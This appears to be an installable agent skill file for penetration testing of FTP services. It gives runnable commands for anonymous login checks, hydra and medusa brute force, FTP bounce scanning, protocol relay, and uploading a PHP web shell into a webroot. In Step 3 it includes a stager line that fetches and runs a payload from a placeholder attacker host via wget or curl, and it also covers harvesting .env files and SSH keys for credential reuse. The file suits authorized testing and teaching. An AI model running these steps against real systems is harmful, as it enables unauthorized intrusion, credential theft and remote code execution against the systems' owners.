pentesting-ftp

star 618

Testing FTP services (default port 21, plus FileZilla admin 14147) for anonymous access, default/weak credentials, FTP bounce port scanning and protocol relay, writable webroot uploads, and dangerous vsFTPd/ProFTPD configuration during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-ftp description: Testing FTP services (default port 21, plus FileZilla admin 14147) for anonymous access, default/weak credentials, FTP bounce port scanning and protocol relay, writable webroot uploads, and dangerous vsFTPd/ProFTPD configuration during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • ftp version: '1.0' author: xalgorix license: Apache-2.0

Pentesting FTP (port 21)

When to Use

  • Default port 21/tcp (control), data on 20 (active) or negotiated high ports (passive); FileZilla admin on 14147; FTPS may use 990.
  • When nmap/banner shows ftp, vsFTPd, ProFTPD, Pure-FTPd, FileZilla Server, or a 220 greeting.
  • FTP is plain-text and uses 0x0d 0x0a (CRLF) line endings, so telnet/nc -C work for manual interaction and the protocol can be abused for relay attacks.

Quick Enumeration

# Banner grab (plaintext)
nc -vn <IP> 21
telnet -n <IP> 21

# Grab TLS certificate if FTPS/AUTH TLS is offered
openssl s_client -connect <IP>:21 -starttls ftp

# Version + default scripts (runs ftp-anon, ftp-bounce, etc.)
sudo nmap -sV -p21 -sC -A <IP>
nmap --script ftp-* -p 21 <IP>

# Server capability/feature enumeration once connected
#   HELP  -> supported commands
#   FEAT  -> advertised features (AUTH TLS, MLST, REST STREAM, UTF8...)
#   STAT  -> version, configs, status
#   SYST  -> OS type

Critical: Checks Most Often Missed

  • Anonymous login — the #1 miss. Try anonymous:anonymous, anonymous:<empty>, and ftp:ftp.
    • How to CONFIRM: nmap --script ftp-anon -p21 <IP> reports "Anonymous FTP login allowed", or:
      ftp <IP>     # user: anonymous  pass: anonymous
      ftp> ls -a   # list ALL files including hidden ones
      
  • Default service-account creds — check ftp-betterdefaultpasslist.txt from SecLists. XAMPP/ProFTPD often map FTP root to /opt/lampp/htdocs, so weak creds on daemon/nobody let you upload a PHP web shell straight into the webroot.
    • How to CONFIRM: log in, PUT shell.php, then request http://<IP>/shell.php?cmd=id.
  • FTP bounce (PORT/EPRT) — the server can be told to open connections to arbitrary hosts/ports, enabling internal port scanning or protocol relay.
    • How to CONFIRM: nmap -b anonymous:anonymous@<IP> -p- <internal_target> or nmap --script ftp-bounce -p21 <IP>.
  • Writable anonymous uploadanon_upload_enable=YES / write_enable=YES in vsftpd allows STOR/MKD by anonymous users.
    • How to CONFIRM: ftp> put /tmp/test.txt succeeds.
  • Notable CVEs / surfaces to triage: ProFTPD mod_copy SITE CPFR/CPTO (CVE-2015-3306), vsFTPd 2.3.4 backdoor, BisonWare/Colorado/TitanFTP directory traversal (covered by the consoleless msf chain below).

Workflow

Step 1: Enumerate (version, config, capabilities)

sudo nmap -sV -p21 -sC <IP>
nc -vn <IP> 21
# After connecting, enumerate:
#   HELP ; FEAT ; STAT ; SYST
# Consoleless metasploit enumeration (version + anon + traversal modules)
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'

Step 2: Authenticate (anonymous, default, brute force)

# Anonymous
ftp <IP>             # anonymous / anonymous
ftp> binary          # set binary transfer
ftp> ls -a           # include hidden files
ftp> bye

# Browser / wget mirror
wget -m ftp://anonymous:anonymous@<IP>          # mirror all (passive)
wget -m --no-passive ftp://anonymous:anonymous@<IP>   # mirror if PASV disabled
wget -r --user="USER" --password="PASS" ftp://<IP>/   # creds with special chars

# Brute force (need a username; default lists in SecLists)
hydra -t 1 -l <Username> -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -vV <IP> ftp
medusa -h <IP> -u <Username> -P passwords.txt -M ftp

Step 3: Exploit / Extract (download, upload, bounce, relay)

# lftp with forced FTPS, ignoring cert validation
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <user> <pass>

# Upload a webshell when FTP root == webroot
ftp> put shell.php
# Trigger an architecture-aware stager via the shell (example):
#   shell.php?dmc=(wget -qO - http://<attacker>/.x/?x=x86 || curl http://<attacker>/.x/?x=x86)
#   it fetches a checksum-validated payload, chmod +x, and runs it (falls back to /tmp)

# FTP bounce port scan through the server
nmap -Pn -v -b anonymous:anonymous@<IP> -p 1-1024 127.0.0.1

# Protocol relay (PORT + RETR of a staged request file):
#   1. STOR a text file containing an HTTP/FTP request (lines use 0x0d 0x0a)
#   2. REST X to skip leading bytes you don't want sent
#   3. PORT <target,port> to connect to the arbitrary service
#   4. RETR <file> to push the saved request to that service

Step 4: Post-access / pivot

  • Pull .env, config.php, wp-config.php, SSH keys, and source from accessible directories for credential reuse.
  • If FileZilla Server admin (14147) is reachable via a tunnel, connect with a blank password and create a new FTP user.
  • Inspect config files for dangerous settings (see Key Concepts) and use any recovered creds against SSH/SMB/web.

Key Concepts

Concept Description
Active FTP Server initiates the data connection from port 20 back to the client (PORT N+1); blocked by client firewalls.
Passive FTP Client initiates data connection to a server-chosen port after PASV; firewall-friendly.
Anonymous access anonymous/ftp login with no real password; frequently world-readable, sometimes world-writable.
FTP bounce Abuse of PORT/EPRT to make the server connect elsewhere — internal port scanning and protocol relay.
vsFTPd danger settings anonymous_enable, anon_upload_enable, anon_mkdir_write_enable, write_enable, no_anon_password in /etc/vsftpd.conf.
Webroot mapping XAMPP/ProFTPD mapping FTP root to /opt/lampp/htdocs turns an upload into a web shell.
Web→FTP injection Double-URL-encoded %0d%0a (%250d%250a) sent by a web app to an FTP server enables arbitrary FTP actions.

Tools & Systems

Tool Purpose
nmap NSE ftp-anon, ftp-bounce, ftp-syst, ftp-vsftpd-backdoor, ftp-proftpd-backdoor checks (run via --script ftp-*).
ftp / lftp / wget Interactive client, scriptable FTPS client, recursive mirroring of shares.
nc / telnet / openssl s_client Banner grab, manual command interaction, FTPS cert grab.
hydra / medusa Credential brute force against the FTP login.
Metasploit scanner/ftp/anonymous, scanner/ftp/ftp_version, traversal modules (bison/colorado/titanftp).
netexec (nxc) nxc ftp <IP> -u users -p passwords for credential spraying.
Config files ftpusers, ftp.conf, proftpd.conf, /etc/vsftpd.conf reveal access policy.

Common Scenarios

Scenario 1: Anonymous read leads to source disclosure

nmap --script ftp-anon confirms anonymous login. wget -m ftp://anonymous:anonymous@<IP> mirrors the share, exposing config.php with database credentials that are reused on the web app and SSH.

Scenario 2: Weak service creds → web shell

A ProFTPD/XAMPP host accepts daemon:daemon. FTP root maps to htdocs, so put shell.php lands in the webroot. Browsing shell.php?cmd=id yields RCE as the web user.

Scenario 3: FTP bounce internal scan

An internet-facing FTP server allows PORT. Using nmap -b anonymous:anonymous@<IP> -p- 10.0.0.5, the tester maps an internal host's open ports through the FTP relay, bypassing the perimeter firewall.

Output Format

## FTP Finding

**Service**: FTP
**Port**: 21/tcp (vsFTPd 3.0.3)
**Severity**: High
**Finding**: Anonymous login enabled with writable webroot
**Evidence**:
  - nmap ftp-anon: "Anonymous FTP login allowed (FTP code 230)"
  - `ftp anonymous@<IP>` -> `put shell.php` succeeded
  - http://<IP>/shell.php?cmd=id -> uid=33(www-data)
**Impact**: Unauthenticated file upload to the web root yields remote code execution as the web server user.
**Recommendation**:
  1. Disable anonymous access (`anonymous_enable=NO`) unless required.
  2. Never map the FTP root to a script-executable web directory.
  3. Set `write_enable=NO`/`anon_upload_enable=NO`; enforce strong, unique credentials.
  4. Require FTPS (AUTH TLS) and restrict access by source IP.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-ftp
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator